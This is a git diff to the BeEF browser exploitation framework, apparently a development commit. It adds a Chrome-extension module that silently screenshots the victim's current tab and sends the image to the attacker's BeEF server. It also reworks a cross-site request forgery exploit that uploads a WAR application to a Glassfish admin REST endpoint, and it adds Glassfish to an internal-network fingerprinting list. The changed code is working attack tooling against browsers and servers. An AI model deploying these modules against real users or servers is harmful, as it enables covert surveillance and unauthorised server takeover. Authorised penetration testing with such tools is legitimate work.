diff --git a/modules/chrome_extensions/screenshot/command.js b/modules/chrome_extensions/screenshot/command.js new file mode 100755 index 000000000..16fcb3b17 --- /dev/null +++ b/modules/chrome_extensions/screenshot/command.js @@ -0,0 +1,22 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + chrome.tabs.captureVisibleTab(null, function(img) { + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'img: ' + img.toString()); + }); +}); + diff --git a/modules/chrome_extensions/screenshot/config.yaml b/modules/chrome_extensions/screenshot/config.yaml new file mode 100755 index 000000000..23d222c17 --- /dev/null +++ b/modules/chrome_extensions/screenshot/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + screenshot: + enable: true + category: "Chrome Extensions" + name: "Screenshot" + description: "Screenshots current tab the user is in, screenshot returned as base64d data for a dataurl" + authors: ["mh"] + target: + working: ["C"] + not_working: ["All"] diff --git a/modules/chrome_extensions/screenshot/module.rb b/modules/chrome_extensions/screenshot/module.rb new file mode 100755 index 000000000..75849d756 --- /dev/null +++ b/modules/chrome_extensions/screenshot/module.rb @@ -0,0 +1,24 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Screenshot < BeEF::Core::Command + + def post_execute + content = {} + content['Return'] = @datastore['return'] + save content + end + +end diff --git a/modules/exploits/glassfish_war_upload_xsrf/command.js b/modules/exploits/glassfish_war_upload_xsrf/command.js index a7d2744ad..9d681a207 100644 --- a/modules/exploits/glassfish_war_upload_xsrf/command.js +++ b/modules/exploits/glassfish_war_upload_xsrf/command.js @@ -25,99 +25,6 @@ beef.execute(function() { var logUrl = restHost + '/management/domain/applications/application'; - //BEGIN Daniel Guerrero binary Base64-library -/* -Copyright (c) 2011, Daniel Guerrero -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - * Neither the name of the Daniel Guerrero nor the - names of its contributors may be used to endorse or promote products - derived from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL DANIEL GUERRERO BE LIABLE FOR ANY -DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/** - * Uses the new array typed in javascript to binary base64 encode/decode - * at the moment just decodes a binary base64 encoded - * into either an ArrayBuffer (decodeArrayBuffer) - * or into an Uint8Array (decode) - * - * References: - * https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer - * https://developer.mozilla.org/en/JavaScript_typed_arrays/Uint8Array - */ - -var Base64Binary = { - _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", - - /* will return a Uint8Array type */ - decodeArrayBuffer: function(input) { - var bytes = Math.ceil( (3*input.length) / 4.0); - var ab = new ArrayBuffer(bytes); - this.decode(input, ab); - - return ab; - }, - - decode: function(input, arrayBuffer) { - //get last chars to see if are valid - var lkey1 = this._keyStr.indexOf(input.charAt(input.length-1)); - var lkey2 = this._keyStr.indexOf(input.charAt(input.length-1)); - - var bytes = Math.ceil( (3*input.length) / 4.0); - if (lkey1 == 64) bytes--; //padding chars, so skip - if (lkey2 == 64) bytes--; //padding chars, so skip - - var uarray; - var chr1, chr2, chr3; - var enc1, enc2, enc3, enc4; - var i = 0; - var j = 0; - - if (arrayBuffer) - uarray = new Uint8Array(arrayBuffer); - else - uarray = new Uint8Array(bytes); - - input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); - - for (i=0; i> 4); - chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); - chr3 = ((enc3 & 3) << 6) | enc4; - - uarray[i] = chr1; - if (enc3 != 64) uarray[i+1] = chr2; - if (enc4 != 64) uarray[i+2] = chr3; - } - - return uarray; - } -} - //END Daniel Guerrero binary Base64-library if (typeof XMLHttpRequest.prototype.sendAsBinary == 'undefined' && Uint8Array) { XMLHttpRequest.prototype.sendAsBinary = function(datastr) { @@ -204,10 +111,8 @@ var Base64Binary = { var c = "--" + boundary + "\r\n" c += 'Content-Disposition: form-data; name="' + name + '"; filename="' + filename + '"\r\n'; c += "Content-Type: application/octet-stream\r\n\r\n"; - - for(var i = 0; i< value.length; i++){ - c+=String.fromCharCode(value[i] & 0xff); - } + + c += atob(value); c += "\r\n"; return c; @@ -215,7 +120,7 @@ var Base64Binary = { function start() { - fileUpload(Base64Binary.decode(warBase),warName); + fileUpload(warBase,warName); } start(); diff --git a/modules/exploits/glassfish_war_upload_xsrf/config.yaml b/modules/exploits/glassfish_war_upload_xsrf/config.yaml index 38febe15b..77572060e 100644 --- a/modules/exploits/glassfish_war_upload_xsrf/config.yaml +++ b/modules/exploits/glassfish_war_upload_xsrf/config.yaml @@ -23,4 +23,4 @@ beef: authors: ["Bart Leppens"] target: working: ["FF", "S", "C"] - not_working: ["IE"] + not_working: ["IE", "O"] diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js index 71d742f55..ddcd897cd 100644 --- a/modules/network/internal_network_fingerprinting/command.js +++ b/modules/network/internal_network_fingerprinting/command.js @@ -97,7 +97,8 @@ beef.execute(function() { new Array("Zenoss Core",":8080",false,"/zport/dmd/favicon.ico",16,16), new Array("BeEF",":3000",false,"/ui/media/images/beef.png",200,149), new Array("BeEF (PHP)",":80",false,"/beef/images/beef.gif",32,32), - new Array("Wordpress",":80",false,"/wp-includes/images/wpmini-blue.png",16,16) + new Array("Wordpress",":80",false,"/wp-includes/images/wpmini-blue.png",16,16), + new Array("Glassfish Server",":4848",false,"/theme/com/sun/webui/jsf/suntheme/images/login/gradlogsides.jpg", 1, 200) ); // for each ip